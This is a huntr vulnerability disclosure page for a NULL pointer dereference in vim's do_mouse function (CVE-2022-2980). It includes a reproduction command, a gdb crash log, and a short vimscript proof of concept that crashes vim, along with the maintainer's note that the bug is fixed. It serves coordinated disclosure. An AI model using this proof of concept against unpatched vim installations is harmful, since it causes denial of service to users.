huntr

NULL Pointer Dereference in function do_mouse in vim/vim

0

✓ Valid Reported on Aug 21st 2022

Description

NULL Pointer Dereference in function do_mouse at vim/src/mouse.c:496 .

vim version

```
git log
commit 171c683237149262665135c7d5841a89bb156f53 (HEAD -> master, tag: v9.0
```

Proof of Concept

```
./vim -u NONE -X -Z -e -s -S /home/fuzz/test/poc3_null.dat -c :qa!
Segmentation fault (core dumped)
```

gdb log

```
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x000055555598dee4 in do_mouse (oap=0x7fffffffbf30, c=0xffffd303, dir=0xfff
496             c1 = TabPageIdxs[mouse_col];

[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────
$rax   : 0x0
```

```
$rbx   : 0x007fffffffbd20  →  0x0000000000000000
$rcx   : 0x0
$rdx   : 0x0

$rsp   : 0x007fffffffbba0  →  0x0000000000000000
$rbp   : 0x007fffffffbd50  →  0x007fffffffbd70  →  0x007fffffffbed0  →  0x0
$rsi   : 0x0
$rdi   : 0x1
$rip   : 0x0055555598dee4  →  <do_mouse+4540> movzx eax, WORD PTR [rcx]
$r8    : 0x0
$r9    : 0x007fffffffbde0  →  0x00007fff00000000
$r10   : 0x007ffff65a3000  →  0x007ffff7fb8000  →  0x007ffff7709398  →  0x0
$r11   : 0xd0
$r12   : 0x000fffffffff784  →  0x0000000000000000
$r13   : 0x007fffffffbc20  →  0x0000000041b58ab3
$r14   : 0x007fffffffbdb0  →  0x0000000041b58ab3
$r15   : 0x007fffffffbc20  →  0x0000000041b58ab3
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow R
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
───────────────────────────────────────────────────────────────────────────
0x007fffffffbba0│+0x0000: 0x0000000000000000     ← $rsp
0x007fffffffbba8│+0x0008: 0x0000000000000001
0x007fffffffbbb0│+0x0010: 0xffffd303ffffffff
0x007fffffffbbb8│+0x0018: 0x007fffffffbf30  →  0x0000000000000000
0x007fffffffbbc0│+0x0020: 0x00555555df3590  →  <init_chartabsize_arg+0> enc
0x007fffffffbbc8│+0x0028: 0x0000000000000000
0x007fffffffbbd0│+0x0030: 0x0a24026c97468bed
0x007fffffffbbd8│+0x0038: 0x0000000000000000
───────────────────────────────────────────────────────────────────────────
   0x55555598deda <do_mouse+4530>  je     0x55555598dee4 <do_mouse+4540>
   0x55555598dedc <do_mouse+4532>  mov    rdi, rax
   0x55555598dedf <do_mouse+4535>  call   0x55555568d980 <__asan_report_loa
 → 0x55555598dee4 <do_mouse+4540>  movzx  eax, WORD PTR [rcx]
   0x55555598dee7 <do_mouse+4543>  cwde
   0x55555598dee8 <do_mouse+4544>  mov    DWORD PTR [rbp-0x180], eax
   0x55555598deee <do_mouse+4550>  cmp    DWORD PTR [rbp-0x180], 0x0
   0x55555598def5 <do_mouse+4557>  js     0x55555598dfc1 <do_mouse+4761>
   0x55555598defb <do_mouse+4563>  lea    rax, [rip+0x6e337e]        # 0x55
───────────────────────────────────────────────────────────────────────────
    491           && cmdwin_type == 0
    492   # endif
   493          && mouse_col < Columns)
   494      {
   495          in_tab_line = TRUE;

              // c1=-0x68b97413
 → 496          c1 = TabPageIdxs[mouse_col];
   497          if (c1 >= 0)
   498          {
   499          if ((mod_mask & MOD_MASK_MULTI_CLICK) == MOD_MASK_2CLICK)
   500          {
   501              // double click opens new page
──────────────────────────────────────────────────────────────────────────
[#0] Id 1, Name: "vim", stopped 0x55555598dee4 in do_mouse (), reason: SIGS
──────────────────────────────────────────────────────────────────────────
[#0] 0x55555598dee4 → do_mouse(oap=0x7fffffffbf30, c=0xffffd303, dir=0xffff
[#1] 0x5555559989af → nv_mouse(cap=0x7fffffffbe20)
[#2] 0x5555559b8641 → normal_cmd(oap=0x7fffffffbf30, toplevel=0x1)
[#3] 0x55555583b6de → exec_normal(was_typed=0x0, use_vpeekc=0x0, may_use_te
[#4] 0x55555583b49d → exec_normal_cmd(cmd=0x611000000b84 "<", remap=0x0, si
[#5] 0x55555583ad41 → ex_normal(eap=0x7fffffffc2f0)
[#6] 0x555555817569 → do_one_cmd(cmdlinep=0x7fffffffc650, flags=0x7, cstack
[#7] 0x55555580e80c → do_cmdline(cmdline=0x6110000002c0 "tabnew", fgetline=
[#8] 0x555555b31dd4 → do_source_ext(fname=0x604000000213 "/home/fuzz/test/p
[#9] 0x555555b32f06 → do_source(fname=0x604000000213 "/home/fuzz/test/poc3_
──────────────────────────────────────────────────────────────────────────
gef➤  p TabPageIdxs[mouse_col]
Cannot access memory at address 0x0
gef➤
```

poc download: <p><a href="https://github.com/Janette88/vim/blob/main/poc3_null.dat">poc3_null.dat</a></p>

Impact

NULL Pointer Dereference in function do_mouse allows attackers to cause a denial of service (application crash) via a crafted input.

Chat with us

CVE
CVE-2022-2980
(Published)

(Published)

Vulnerability Type
CWE-476: NULL Pointer Dereference

Severity
Medium (6.3)

Registry
Other

Affected Version
*

Visibility
Public

Status
Fixed

Found by

janette88
@janette88
master

Fixed by

Bram Moolenaar
@brammool
maintainer

This report was seen 844 times.

We are processing your report and will contact the **vim** team within 24 hours. 3 months ago

We have contacted a member of the **vim** team and are waiting to hear back 3 months ago

janette88 modified the report 3 months ago

Bram Moolenaar validated this vulnerability 3 months ago

Chat with us

I can reproduce it. This is the simplified POC:
tabnew

```
set mouse=a
exe "norm <LeftMouse>"
```

janette88 has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Bram Moolenaar 3 months ago Maintainer

Fixed with patch 9.0.0259

Bram Moolenaar marked this as fixed in 9.0.0258 with commit 805257 3 months ago

Bram Moolenaar has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

Sign in to join this conversation

huntr

home

hacktivity

leaderboard

FAQ

contact us

part of 418sec

company

about

team

Chat with us

contact us

terms

privacy policy

Chat with us